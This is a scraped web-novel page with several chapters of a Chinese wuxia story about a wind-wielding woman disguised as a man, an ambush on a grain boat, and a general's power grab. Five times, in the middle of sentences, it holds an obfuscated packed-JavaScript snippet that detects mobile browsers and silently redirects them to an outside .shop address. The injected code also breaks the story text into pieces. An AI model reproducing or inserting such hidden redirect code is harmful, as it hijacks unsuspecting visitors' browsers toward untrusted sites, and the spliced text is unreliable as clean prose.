;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485525|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府以往客商的信息，从中挑中了金家。 “孙府很大，布局却很奇怪。那存放所有机要的书房竟然就位于府中外围，一点也不起眼。我怀疑是他们的障眼法，所以就等着，想去孙老爷的住处瞧瞧。未曾想他也宿在外围。府中央有一块很大的地方，亭台楼阁，灯火煌煌，却似与这位当家老爷毫无干系。我心中生疑，便想凑近查探。” 她说到这里戛然而止。 “后来呢？”江鱼追问。 天色渐暗，头顶石缝透入投下的光也不似方才那般亮堂。江鱼不知何时左右手一边一个，紧紧抓住了燕风和陈青的袖口。 燕风沉默片刻，才缓缓开口，一脸凝重：“我未能深入。只向那地方潜行数步，便觉……不妥。” “如何不妥？” “说不清，那感觉太怪了。并非看见或听见了什么，而是一种……近乎本能的警觉。就好像夜行山道，虽未见虎豹形迹，却忽觉毛骨悚然，如芒在背。” 陈青想了想：“或许是一种对危险的直觉？” “可能吧。但除了警觉，还有一种莫名的熟悉之感。那感觉如此强烈而突兀，让我骤然惊觉：活在世上如此久，好像第一次遇到了相似的……「同类」？” “「同类」？” “并非容貌身份相似。而是……在某些‘根本’上，相近。” 此言一出，岩穴内陷入了短暂的沉寂。 三人皆心照不宣：某种超出他们理解的东西，被悄然摆上了台面。 片刻，陈青看向燕风，问出了一直盘旋在心底的疑惑：“燕风，其实有一事，我存疑已久。你的身法，实在快得匪夷所思，腾挪转折如御风而行，不似寻常轻功路数……” “不似人力所能及，对吗？我明白。但说来或许你们不信，这并非什么仙法神通，只是，我能稍微感知，并借势于‘风’而已。” “控风术？”江鱼倒吸一口凉气，“老大，你、你莫非真是天上神仙下凡？我听说书人讲过的。” “下凡来做贼么？”燕风摇了摇头，苦笑道：“哪有这般落魄的神仙。况且，这也并非我生来便会。幼时不过耳力较常人敏锐些许，奔跑起来略快几分。是后来，才渐渐发觉自己与‘风’之间有种莫名的联系，如同多了一条看不见的肢体，经年累月，摸索练习，才成了今日这般。” 准确来说，是三年前。这个时间点在燕风心中清晰无比，但她并未宣之于口。 江鱼却顺着这思路想了下去，惊惶道：“那……那你在孙府里感觉到的相似之人，会不会……会不会也和你一样，能‘控风’？” 若真如此—— 燕风没有回答，心里却接到：那可真是糟糕透顶了。 20. 烂命 “其实还有一个问题。”燕风叹道，“我能感知到他们，却不知他们是否也能察觉我。” “他们？你是说这些人不止一个？”陈青问。 “我不知道。我只能感应到那股气息，却分不出方位，也辨不了人数。但那种情况，一定是敌非友的。” 陈青宽慰：“往好处想，若是他们不止一个，并且也像你一样，只有模糊的感应的话，虽然你乍然出现，他们也是不会察觉到的。”说罢他还轻轻拍了拍江鱼紧攥着他的手。 “话虽如此，为防万一，我还是多做了件事。说起来，也是裕王府那两人帮了忙。第二天白日里，我发现那两人也到了这儿，不知是有恃无恐还是愚蠢又不知天高地厚，他们竟然当街就打听起了孙为，孙府的人自然也注意到了。于是当天夜里，我又去了一趟孙府，站在外院的一间屋顶上，朝着内院随便射了几箭。我特地把动静往大了闹，就是想让他们觉得有人盯上了内院里的人了。” 陈青接过话头，思忖着道：“你是觉得，那些与你气息相似之人，是保护内院贵人的高手。若院里的人足够重要，他们便可能留守护卫，或去调查裕王府的人，而不是把心思放在我们这平常的商单粮船上?” “正是，我便是这么想的。但这并非万全之策。即便高手留守内院之人身边，可内院之人也未必留在孙府。” “什么意思？” 燕风眉头微锁：“察觉危险后，无非三种应对：一是南下，返回孙家老家根基所在；二是固守孙府，加强戒备；三是反向北上，混淆视听。若选第三条路……便难免与我们同路。” 江鱼忍不住插话：“北上？不太可能吧，那不是自投罗网？只要他们稍加调查，便会知道裕王府那两人就是从北边来的呀。” “你说得对，第三种可能性最小，也是唯一的坏结果。所以我权益再三，才故意却闹大了动静，引他们戒备……对了江鱼，你对孙家少爷孙为此人了解多少？可有人见过他真容？” 江鱼摇头：“说来奇怪，这人恶名远扬，却无人说得清他样貌，连胖瘦高矮都没个传闻。所以之前徐三等人改口说从未见过孙为，也是有人信的……你怀疑内院那人就是孙为？” “不错。我在孙府未见其他年岁相当，仿佛少爷模样的人。” 燕风顿了顿，“但这也或许是件好事。证明孙为此人行事谨慎，平常不怎么露面，而一个谨慎之人是不会冒着风险北上的。” 说罢，三人一时无言。 过了一会儿，江鱼才轻声叹道：“怎么就到了这步田地。正经的军队，军粮合该朝廷给，现在却和山贼无二。” 燕风忽然问：“你参军时，可用了本名原籍？” 江鱼点头：“是啊，那时没多想，问什么便答什么。回想起来才觉得后怕，若他们查了黄册，便知我家只有一个小弟，今年还不满十岁。” 燕风苦笑:“应该是不必担心了。” “什么意思？” “我也是来的路上才想明白的。本来并不想说，但是毕竟这一路艰险，还是应该说出来让你们有个数。” 燕风垂下头，脚边的一汪清水，正好映得出身旁两人的眼睛：“咱们，大概算不上在册的正统兵役。黄册不是不查，而是根本就没有，想查也查不了。” 江鱼惊道:“什么？你的意思是我们都是宗将军私招的兵役？这可是，这可是！” “谋逆”陈青替她补上了一句。 “对！谋逆的大罪！燕风，你可不要胡说！” 燕风低声道：“我不是这个意思。宗将军的军马从西南开始召集，经过青桥，一路招摇过了陇地又去北境，不可能是私招，但也不会是正统。” “你把我说糊涂了。既然不是私招，那又怎么不是正统？” “我听说，这几年西南大旱，各地都起了流民，还隐隐有揭竿之势。” “是啊，我们村里回来的人都说，西边不太平，叫村里的孩子媳妇儿少出门。” 燕风仍旧望着水面：“那就是了。造反总是要命的事儿，何况别的地方还吃得上饭，派得起兵。不如跟着吃公家饭，发来的银饷还能留给家里过几天安生日子。朝廷那头，这更是一本万利的好事儿。毕竟赈灾费钱，灾民一日即使只吃一顿，算上层层盘剥，长久下来，也是流水的银子不禁花。招兵就不同了，银饷只用发一次，而且青壮的走了，剩下的就算全饿死也不会有个水花响。至于招来的兵怎么养，那便更容易了，打仗还怕不死人？骂名反正总是有将领担。” 水面上映出江鱼瞪大的眼睛。另一头，陈青目光沉沉，眼中有沉痛，也有了然。 这不禁让燕风想起那个晚上，本该意气风发的青年笑着对她说：他若死了，对旁人来说未尝不是一件好事。 “那你是怎么想的？”这回是陈青的声音。 “这话我也想问你们。”燕风抬起头，“我既答应了将军会把粮草带回去，便必会做到。但这不为朝廷，也不全为将军，而是为了我自己。活在这个世道，没有家世地位也没有金银人脉，空有一身本事，说到底还是烂命一条。若是想活出个人样做点事情，少不得要出格点。这此番回去，若将军与队伍还在，那是最好。若不在了，这粮便是咱们今后的底气，反正不亏。” “你们若是想走，我绝不拦着。若是留下，便先说清楚了，这条路可不是什么好道。” 陈青笑了：“你想的正是我想的，你这个朋友我交定了。不管你以后只是想飞黄腾达，还是要把天捅开了，我都认了。都是烂命，痛快最要紧！” 一股豪气在胸中激荡，江鱼也道：“燕哥加我一个。你知道我的事儿，这阳间已经没了我的路，跟着你我心里也踏实。我知道，你再出格，也是个好人，只会做好事。” 燕风心里松了口气，露出了这些天第一个笑脸。 “等等！”江鱼突然掩口，看向陈青，又小声对燕风道，“我好像，说漏了嘴。” “做什么？我又不瞎。只是不知道燕兄知道得比我还早。”陈青笑了笑，只是话里不自觉带了丝醋味儿。 燕风也玩笑道：“如今仔细看，你洗净脸换上合适衣裳，我信你是你们村里数得上号的俊俏娘子了。” 江鱼不好意思地笑了，却见燕风仍端着男子的语气，面容涂黑得也一日比一日均匀，便什么也没说。 * 天刚擦亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485526|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，码头上一如既往地开始热闹起来。 水雾迷蒙的瓯水上泊着数十条船，其中最大的一艘，船头挂着孙家的旗子，打着赤膊的船夫们正来来往往地码货。 这便是孙家给金家预备的那一艘了。孙颜二早早便一个人来了，李大没有跟着。 船工里的头儿做人伶俐，以为他是来监工，搭话奉承几句，却发觉对方心不在焉只是敷衍，两眼直盯着远处似在等什么人，便识相地闭了嘴，转身回仓里搬了把有靠背的椅子。 孙颜二点点头，满意地坐了下来，才正眼看了眼船头：“你叫你手下人不用赶着，慢些码货，离发船指不定还要多久。留一些在岸上，等下听我说。”船头只管称是。 又过了半刻钟，晨雾渐散，大路尽头终于缓缓走来了三人。 为首的是个英武轩昂的公子哥，身后半步缀着一个矮小清秀的书童，再后几步，一个身材瘦削身着短打的杂役，弓腰垂首挑着行李箱笼恭敬地亦步亦趋。 正是陈青一行三人。 孙颜二连忙起身拱手见礼。陈青摆手：“孙管事，你大清早等在这儿，是要和我们同行吗？” 孙颜二连忙摇了摇头：“二公子见谅，府里还一堆琐碎事儿，小的就不跟着了。您上次走得匆忙，小的怕您找不到地方，更怕手下的有眼不识泰山，冲撞了您，故思来想去还是要多送一程。” 陈青点头，“那都准备得怎么样了，可以出发了吧？” 孙颜二摆出为难的脸色：“恐怕还得等一会儿，这货没搬完，天也没亮透，此刻行船也不安全。” 陈青面上不显，心里却冷笑：方才这姓孙的和船头说的话都被躲在一旁的燕风听到了。这时候扭捏，恐怕是想坐地起价，再敲上一笔。 不过还好他们有些准备，他探手入袖，想再取一枚南珠，却不想孙颜二眼疾手快挡下了。 “二公子误会小的了。实在是货物还没清点完毕，劳烦耐心再等片刻吧！” 说着呼来船头又搬来一把椅子，两相对比后将两把椅子中较好的那把让给了陈青。 “二公子，我们这清晨的码头也是有几分景致的，不妨坐下耐心瞧瞧吧。一会儿便好了。” 一番言行让人挑不出错，陈青没法，只好坐下，看他能玩出什么花样。 天光渐渐大亮，人声渐渐嘈杂，码头上又发出了几条船。 孙颜二态度越发恭敬小心，但说来说去都是车轱辘话，其余一个字再不肯多说，摆明了是拖延时间。 三人心中的不安越来越重。 陈青大马金刀地坐着，继续和姓孙的摆贵公子的谱子，心里却在思考若打起来自己一方的胜算。 燕风像个普通粗使杂役一样，撂了行李蹲在泥地偷懒，但实则心擂如鼓。她一边谨慎地监察四周，一边自我安慰：这附近的地形她早已烂熟于心，就算带着两个人，也有把握跑路。 江鱼立在两人之间，余光瞟过同伴，心道终于知道了什么叫做贼心虚。 忽一阵香风飘来，燕风最早察觉到，心中一凛，怕是什么埋伏，猛地抬眼望去。 却见是一堆丫鬟婆子杂役簇拥着一顶软轿，袅袅婷婷，远远地行来了。 21. 相遇 一群打扮娇贵的女人，出现在满是赤膊汉子的码头上实在是扎眼。周围的船工也不免多看几眼，但却不是很惊奇的样子。 燕风这才恍然：码头上有一艘船确实是比其他的货船看着精致漂亮些，原是为送女客准备的。 怪的是，孙颜二见了这群人却似见了救星，脸上顿时露出如释重负的笑。待人走近，他起身似要引荐，却被领头那个方脸侍女娇横的眼风扫了一眼。他立刻噤了声，只转而讨好地朝陈青作揖。 “时候也不早了，货应当也清点得差不多了，小人就此别过，祝公子一路顺风。” 那群人打几人身边径直路过，几个丫鬟好奇地打量了陈青几眼。 软轿里的小姐则浑不在意。影影绰绰的珠帘后，那道婀娜的身影未曾侧过丝毫。 陈青挑挑眉，颇有些意外：“孙总管，你认识？” 孙颜二擦擦汗：“好似是哪家的小姐，小人也并不太清楚。” 忽然一阵怪风大作，丫鬟婆子们以帕掩面咿咿呀呀一片，玲珑软轿上华贵的珠链也被掀起。 那小姐倒是镇定，妖风中仍端着娴静优雅的姿仪，只是遮脸的帏帽被风撩起一角，半截细腻白皙的脖颈在人群中惊鸿一现。 还好，没有喉结。 燕风心下稍安，直起身，将挂着箱笼行李的担子换到左肩。这是他们三人早先约定的暗号：左为安，右为险。 陈青暗自松了口气，瞥了那孙老头一眼，心道再盘问也没什么益处，如今之计也只能是走一步看一步。 他立时从椅子上起了身，在孙颜二殷切的目光中，长腿一迈，领着身后两人上了返程的粮船。 * 这粮船建得气派，随船的人员倒是不多。除了船老大，便只有四个船工与一个兼任厨子的杂役。 三人借查货之机仔细巡过全船，才回到住处。待确认周围安全，燕风低声道：“我今日虽然并没有感觉到之前那股诡异的那种气息，但孙家那个管家着实有些古怪，咱们还是小心为妙。” 陈青点头，面色凝重。 江鱼看了两人一眼，轻声开口：“今日这事儿，我倒有个猜想。” 见同伴望来，她清了清嗓子继续道：“不知别处如何，我们这儿却有桩习俗。虽说婚姻大事是父母之命、媒妁之言，但疼爱女儿的人家，总会寻个由头让姑娘相看相看。像我大姐，当时议亲的时候，就借口去走亲戚，特地去村里瞧了我姐夫一眼。那孙总管拖延时间，说不定……也是等哪位小姐来看人。” 燕风想了想：“可是我看得清楚，那轿中的小姐可没往陈青这瞧一眼。” 江鱼偷瞥陈青一眼，小声道：“许是远远瞧过，没看上吧。” 陈青尬笑了两声，推窗望向河面。 船已行了半日，举目望去，河面开阔，唯前方那艘小姐的大船因出发时辰相近，还在目力可及之处。 “但愿如此吧。” * 夜里用过自备的干饼，燕风趁天色昏黑，悄悄攀上了舱顶。她还是喜欢躲在高处。 船行一整日，早已远离青桥县。而那艘令他们隐隐不安的小姐的大船，也已渐渐远去，船上的灯火渐次隐没在目不可及的远方。 此刻夜凉如水，河波摇曳，燕风仰面躺下，心中一片安宁。 连续五日，不眠不休的奔波筹划所积的疲惫，终于再也压不住。她的眼皮渐沉，不久便坠入梦境。 大抵是因为重走了三年前逃离的路线，她又梦见了故人。 梦里一片漆黑，什么也看不见，但她知道他们就在那里。 面对着虚无，她突然开口问道：“我做得……可还算好？”然而在心中翻滚过无数遍的话，一出口却已经开始后悔。 无人应答。 她自嘲：“罢了，这才到哪儿。” 谁叫她是唯一活着的人呢。 忽然，仿佛一滴水落破了镜般的平衡。黑雾散去，过去数月见过的每个人、每处细节如走马灯般纷至沓来，回忆的漩涡越转越快，最终定格在今晨岸边，被她吹起的那一角软轿的珠帘…… 燕风猛地惊醒，还未从溺毙般的窒息感中回神，船头“哒”一声轻响，已如爆竹般震在耳边。 她顿时如炸毛的猫，凌空翻身，轻趴在舱顶，悄悄探出头往下看。 黑沉的水面上，一条小船不知何时靠了过来。方才那声轻响，便是船体轻撞发出的声音。 小船上一个白衣人影，从容的迈上了他们的粮船，像在自家花园闲庭散步。 燕风眯着眼睛仔细辨认，好似是今早上瞪了孙管事一眼的那个方脸丫鬟。 她正犹豫是继续躲在高处观望还是立即通知同伴时，“吱呀”一声，他们舱房的小门开了。 江鱼仿佛是要如厕，一路小跑出来，拐了几个小弯，正迎头撞上那白衣丫鬟。 江鱼吓得跳开一步，大半夜撞见个白影子，她指着对方，半晌挤不出一句整话。 白衣丫鬟也是一惊：“你没吃船上的餐食？” “我吃坏肚子了。”江鱼下意识回道。这其实是答非所问。他们本就扔掉了船上给的餐食，只吃自带的干粮。 白衣丫鬟听了倒是欣慰，她转了转眼珠：“小哥，你家公子呢？可歇下了，我们家小姐有请。” 江鱼这会儿终于清醒了些，她后退半步，拔出藏在鞋子里的匕首，指着对方低吼：“你哪儿来的，什么目的？” “多事，好好说偏不听。” 话音未落，一支短箭自白衣丫鬟袖中疾射而出。 燕风大惊，这么短的距离，她无法再顾及其他，手掌登时鼓起一股劲风，总算赶在箭至之前将其震偏。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485527|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支本来直取江鱼面门的袖箭，最后擦着她鬓角过去了。 “谁！”白衣丫鬟厉喝。 已然暴露了藏身之处，再躲也无益，燕风索性纵身跃下，紧紧护在江鱼身前。 白衣丫鬟认出燕风正是早上见过的那个杂役，怪道：“你也吃坏了肚子？” 江鱼此刻终于恍然大悟：船上的饮食被下了药。不待燕风回答，她便探出头大声道：“船上餐食粗糙，哪是人吃的，我们谁都没吃！” 她一方面想让对方知难而退，一方面则想大声引起舱内陈青的注意。 白衣丫鬟果然恼怒，扬手咻咻咻又连发了三箭。却都被燕风抬手挥掉。 若一次还可说是巧合，这么近的距离三箭齐发都奈何不了对方，白衣丫鬟再自负妄为心里也有了忌惮。 她抬腿欲退，面上却贼喊捉贼高声道：“你们到底是什么人？夜半为难我一个……” 话还未尽，突觉脚踝处一凉。 低头看去，竟是一支先前射出又被对方击落的袖箭，正擦着她欲逃的脚跟，狠狠钉入船板。 未及惊呼，燕风已欺身而上，一手扣住她咽喉，另一手将她双臂反剪，又从她袖中摸出那柄描金镶珠的袖弩。 燕风掂了掂，随手扔给了江鱼，笑道：“真够奢侈，连把破弩也要镶金带银的，手腕子酸得紧吧？该怎么称呼？孙为？孙小姐？” 怀中人身形明显一僵，拼命仰头望向比自己高出不少的燕风，挤出一个比哭还难看的讨好笑容。 “小哥说什么呢？我只是个……啊啊！” 燕风猛的收紧了指节：“还装！一个个的，都觉得自己聪明绝顶？你一没功夫谋略，二无美色傍身，半夜孤身登船却目中无人，除了平日无法无天惯了的首恶，还能是谁？” 她心下雪亮：这类人虽狂妄，却最惜命，绝不敢独涉险境。眼下虽风平浪静，但必有高手在不远处守着。她方才扬声质问，便是证明。自己为救江鱼已然暴露，唯有擒住那首恶作为人质，才能有几分胜算。 “你……！”孙为听得这番评价，登时气得面色涨红。 燕风笑了，手上使力，像摆弄一件破衣裳似的拧转她的脖颈。 “这便受不了了？你的人呢？怎么不来救你？” 一阵摇晃折磨，孙为竟反常地不做声了，真似成了任人摆布的破布偶。 夜色沉寂，河面上无风无浪。 忽然，燕风身子微颤，一股刺骨寒意毫无征兆地从脊背窜起，瞬间蔓延四肢。 她下意识要低头查看，却骤然察觉一道几乎凝滞空气的气息扑天盖地而来。强悍、凌厉，夹杂着一丝诡异的熟悉，如滔天巨浪，摧枯拉朽。 惧意自骨髓深处汹涌翻腾，攀附每一寸筋骨，最终死死凝结在她紧扣孙为脖颈的指节上。 他们，来了。 22. 溃决 孙为仿佛有所感应，突然从她松动的掌控中猛地抬眼。那双眼中毫无情绪，空洞得如同深渊。 “你早该害怕了。”她的声音很怪异，听得让人心里莫名发紧，“接下来，你打算怎么做？” 燕风强稳住震颤的心神，五指再度收紧，冷喝道：“别装神弄鬼，老实点！” 然而她的声音在夜色中轻得几乎听不见，仿佛也惧怕惊扰蛰伏在黑暗中的猛兽。 孙为却对喉间的禁锢浑不在意，反而微微侧过头，看向一旁。 她眼中仍无波澜，唇角却缓缓扬起：“你好像，把她忘了。” 燕风一怔，猝然转头。 身后，江鱼没有说话，却已不知何时弓起了身子，死死盯着前方，目光不敢有一丝偏移，仿佛陷入某种无形的囚笼，被困在原地。 而在她正前方不远处—— 一个黑衣人，悄无声息地立在船头，如鬼魅般融入昏暗的背景。 燕风心头一沉，这人来得太过诡异，哪怕一丝风扰都没有激起，否则她绝不可能毫无察觉！ 而此刻，那人正把玩着一支先前被她击落的袖箭，眯着眼，缓缓将箭尖对准了江鱼。 恐惧如疯草般蔓延，疯狂撕扯燕风每一根汗毛。 怎么办？ 她手中有重要人质，可江鱼难道能不管？不不不，江鱼不能有事。 便在这时，黑衣人动了。 他看似轻盈随意地一掷，掷出得却比机弩还快。利箭破空尖啸而至，燕风瞬间出手，单掌卷风迎面撞去！ 江鱼还来不及反应，一切已然落幕。箭簇“当啷”一声落地，未曾穿透任何人的皮肉。 燕风大口喘息，冷汗顺着鼻尖滚落。 她做到了！江鱼无事，人质仍在。 “原来是使风的。”忽然一声似笑非笑的叹息从背后响起。 燕风汗毛倒竖，这是今夜第二个悄然逼近而她竟毫无察觉的人！ 还未来得及反应，眼前倏然残影掠过，那原本还在几丈外的黑衣人眨眼已近在咫尺。 可他的目标，不是她，也不是孙为，仍旧是江鱼！！ 燕风几乎是本能反应，她扔开孙为，带着玉石俱焚的气势冲出，风如沙暴般席卷全场。 但在那一瞬，她分明看见对方嘴角勾起一个恶意的弧度。 下一息，一支染血的箭，从江鱼胸口缓缓顶出。他比风还快，用的，竟还是刚才那支…… 江鱼的身形骤然僵住，脸上写满了无法置信，眼中的光顷刻熄灭。 燕风脑中轰然一片。 她呆呆地望着江鱼那依然惊惧的目光，眼前景象仿佛梦魇，痛苦让她双膝跪地，仿佛所有力气在瞬间被抽空。 “江鱼……”她喉间哽咽。 江鱼原本可以不来，这一切，都是因为她！ 紧接着，三年前的回忆再一次涌入脑海。她心如刀绞：明明什么都还没来得及开始，却又有人因她而死！ 一只冰冷的手，从背后缓缓落在她头顶，是那个新出现的男人。 “世上没有人比风还快。是你反应太慢了。” 他说话莫名其妙，却精准回应了她心底最隐秘的痛点。 燕风早已麻木，连恐惧都被痛苦吞噬。她没有挣扎，甚至都未察觉，对方竟好似听见了她心声。 那人依旧站在她身后，语调悠然，却句句都像锋利如刀。 “你不该上船。” “在码头就看出端倪，却还抱着侥幸。可知侥幸便是愚蠢？” “抓住人质，却什么都没做。你以为扣着脖子就叫威胁？真正该做的是让所有人都知道，你敢动手！” 他的声音愈发冷漠，如同胜利者的审判。 “可最不该的是，你竟因一人之死便心神尽溃。” “跪在这儿，是等别人来替你收尸么？“ 燕风一直沉默，然那人原本轻蔑的语调忽地一顿，仿佛突然察觉到了什么。 他的眼神落在她垂下的脸上，目光微变。原本的轻慢，转为迟疑，而后是震惊，最终透出一种巨大的痛苦与悲怆。 “……原来是这样。”他嗫嚅。 “他……” 这时，此前一直被她扣押着的人质孙为，忽然像被解除了某种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485528|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束缚，眼中恢复了神采。 孙为一时间有些迷惘，但很快便看见了跪倒在地的燕风。 她忆起方才被掐住咽喉的屈辱，心中恨意翻涌，走上前，朝着燕风嘴角扯出一抹刻薄的笑。 “你刚才不是很威风吗？现在怎么跪下了？” 燕风未动，仍沉浸在那压得她喘不过气的痛苦和崩溃中。 孙为对燕风身后那人视若无睹，目光一冷，手中突然掏出一柄短刀，咬牙道：“你也配活着？” 就在这一刻，“嗖”地一声轻响。 一支羽箭从燕风身后那人的方向飞掠而来，干净利落地钉入孙为的咽喉。 孙为的动作僵在半空，眼中浮现出难以置信的惊恐，终于正眼看向了行凶那人。 她捂着喉咙踉跄后退，血沫汩汩而出：“你们……你们就不怕我父亲……” 方才杀死江鱼的黑衣人皱眉，朝着动手的那人吼道：“你做什么？她可是魏府的千金，我们还指望她——” 那人莫名地暴躁：“吵死了！” 黑衣人沉默片刻，忽然咧嘴一笑：“罢了，都得罪了，索性别装了。也不知道多少条命死在这女人手上。慢慢折磨死她，也算为那些人讨个公道。” 燕风缓缓抬起了头，目光落在孙为脖子上。 那箭仍微微颤着，仿佛余威未散。 她终于从死寂中挣脱，僵硬地转身，望向那突然现身的神秘之人。然而这一眼，却让她瞳孔猛地收缩。 那人乍一看像个女人，此刻站在风中、发丝凌乱，赫然便是早上在码头轿子里坐着的小姐。 只是那张脸，经过长日奔波，易容的边缘已经显现出裂纹，其下隐约露出一张属于男子的轮廓。 他低头看向燕风。那目光，痛苦、无助，却穿透了层层伪装，落入她记忆最深中。 燕风怔怔望着那双眼。 忽然，某个自己至今仍会时不时想起的名字在脑中骤然浮现，情绪如狂风翻涌而上。 你是…… 一切未及明晰，眼前骤然发黑。她终于支撑不住，缓缓向前倒下，意识沉入黑暗之中。 23. 归渡 燕风是在水声中醒来的。 潮湿的气息从甲板缝隙间渗进来，她睁开眼，夜色如墨，只有甲板上一盏孤灯在风中摇曳着微弱的火光。 江鱼还活着，就睡在她身边，胸膛平稳起伏，身上没有一点血迹。燕风沉默了好一会儿，最后平静地接受了这如噩梦般汹涌，又无痕退去的一夜。 她坐起身，目光扫向舱口。甲板上，有人背对她而坐。 夜风拂过他换回男装的衣衫。他身形挺直，却仿佛刻意维持着疏离的距离。 那是罗同。 她记得他在阳高城里对小辈们温和的叮咛，也记得他在宗帅营旁走过，望着大将军的背影，远远地吹着一只玉笛。 他为何不与她相认？燕风不清楚，许是因为那个黑衣人还在。于是她也没有贸然开口，只是安静地走到他身后坐下。 在一晃一晃的水波里，她轻声问：“那个女子，孙为，她是谁？” “叫魏芙，魏大人的千金，做了不少恶事。”罗同声音里透着藏不住的疲惫。 “已经死了，尸首也处理干净了，你不必再担心。” “那你们又是谁？一会儿要杀我们，一会儿又救我们。” 罗同回：“方才那些，是试探和考验，也是教你的第一课。关于我们，你不该知道太多。你只需知道，我们是同路的。” 他从身上掏出一本薄册，随手向她一抛，“上了同一条船，免不了要彼此帮衬一程。” 册子翻滚几圈后落在她身前。 “这是我与同伴所学所悟的一点心得，招式、心法，兼有记述。权当是，船资吧。” 燕风没有去接：“我这样资质平庸，不知是否学得来，到时怕是要辱没了诸位的名声。” “你很刻苦，会是一个很好的徒弟。” “那……师父，你方才看见的是这样一个我，你会失望吗？我是如此庸碌又无能的人，却偏偏是我……” 罗同打断了她：“你做得很好，这世上有些事，非你做不到。” “能当你的师父，会是我这辈子一大幸事。” 燕风眼中似有微光闪过，但她今夜格外贪婪。 “他也会这样想吗？” 这句话落下，夜风仿佛也凝了一瞬。 两人都知这‘他’是谁，但这话落在不远处黑衣人耳中，只觉得莫名其妙。 罗同没有立刻回答，他不自觉收紧了手指：“我不敢替他回答。” 燕风垂下了头。 果然如此，却又无可奈何。 可罗同又开口了，语气是她记忆中的温和与抚慰。 “但我猜，他一定同我想得一样。” “你做得很好。” “一直以来，辛苦你了。” 燕风眼里蓄满的泪悄悄滚落。 梦中那些模糊的影子，夜深人静时的惶恐，一遍遍的自我怀疑，还有那些不言之念、未竟之志…… 直到这一刻，才突然觉得有些释怀。 * 燕风离开后的第二日，宗恂抵达北地。 阳高城是有守军的。当年宗谦阳高城下惨死，西北几位边将无人施以援手，如今宗恂归来，他们也是明里暗里百般排斥。 石亨是其中最张扬的一个。 此人原是宗谦旧部，曾在燕京一役跟随宗谦立下战功，后因琐事与宗谦生隙，最后竟倒戈相向。 宗谦失势后，他趁势‘收复’失地，受朝廷封赏，在北地声势颇高。这次宗恂还未入城，城墙上已出现“狼子鼠孙”、“逃将之后”之类的字眼。 宗谦并未放在眼里，更未与石亨正面冲突，而是悄悄着手清查军需粮库，从后勤下手。短短几日，几名偷运军粮、私卖军械的后勤小吏被处理，尸体悬挂城门三日，引得城中风声鹤唳。石亨不得不去总兵张擎面前陈情。 宗恂又布下一棋，不久石亨几名心腹被人‘偶然’撞破与边瓦人交换盐粮之事，很快便传得营中尽知。宗恂借机放出风声：“张擎欲借此收拾石亨。” 石亨中计，闯入军议堂当众指责张擎陷害。张擎猝不及防，众目睽睽下不得不站出来表态，下令暂夺石亨兵权，软禁其于后营。 宗恂见势再加一力，悄然将石亨私通证据以张擎之名递交朝廷。随后圣旨抵边，石亨即被押往京城候审。 此事一出，全军皆震。张擎暂时压住局势，却也心知此局是宗恂布下。他原以为这宗家子虽素有军功，但终究年轻识浅，不料其竟步步为营，深藏不露。 他开始试图收紧军权，暗中调动亲兵，然已有人夜半潜入他营中。翌日醒来，张擎便觉气息滞涩，四肢乏力。军医久诊无果，只能上报：“张大人体弱，恐难再承重任。” 宗恂随即被推为代理主帅。 兵权尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485529|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归后，他立刻颁下数道新令：肃军纪、清内奸、复巡边。 西北边民对他仍有疑虑，宗氏之名在此地尚未雪清，一些老兵依旧暗中非议。 但也有人说，不管他是谁，至少粮账对了，匪患平了。 这便够了。 * 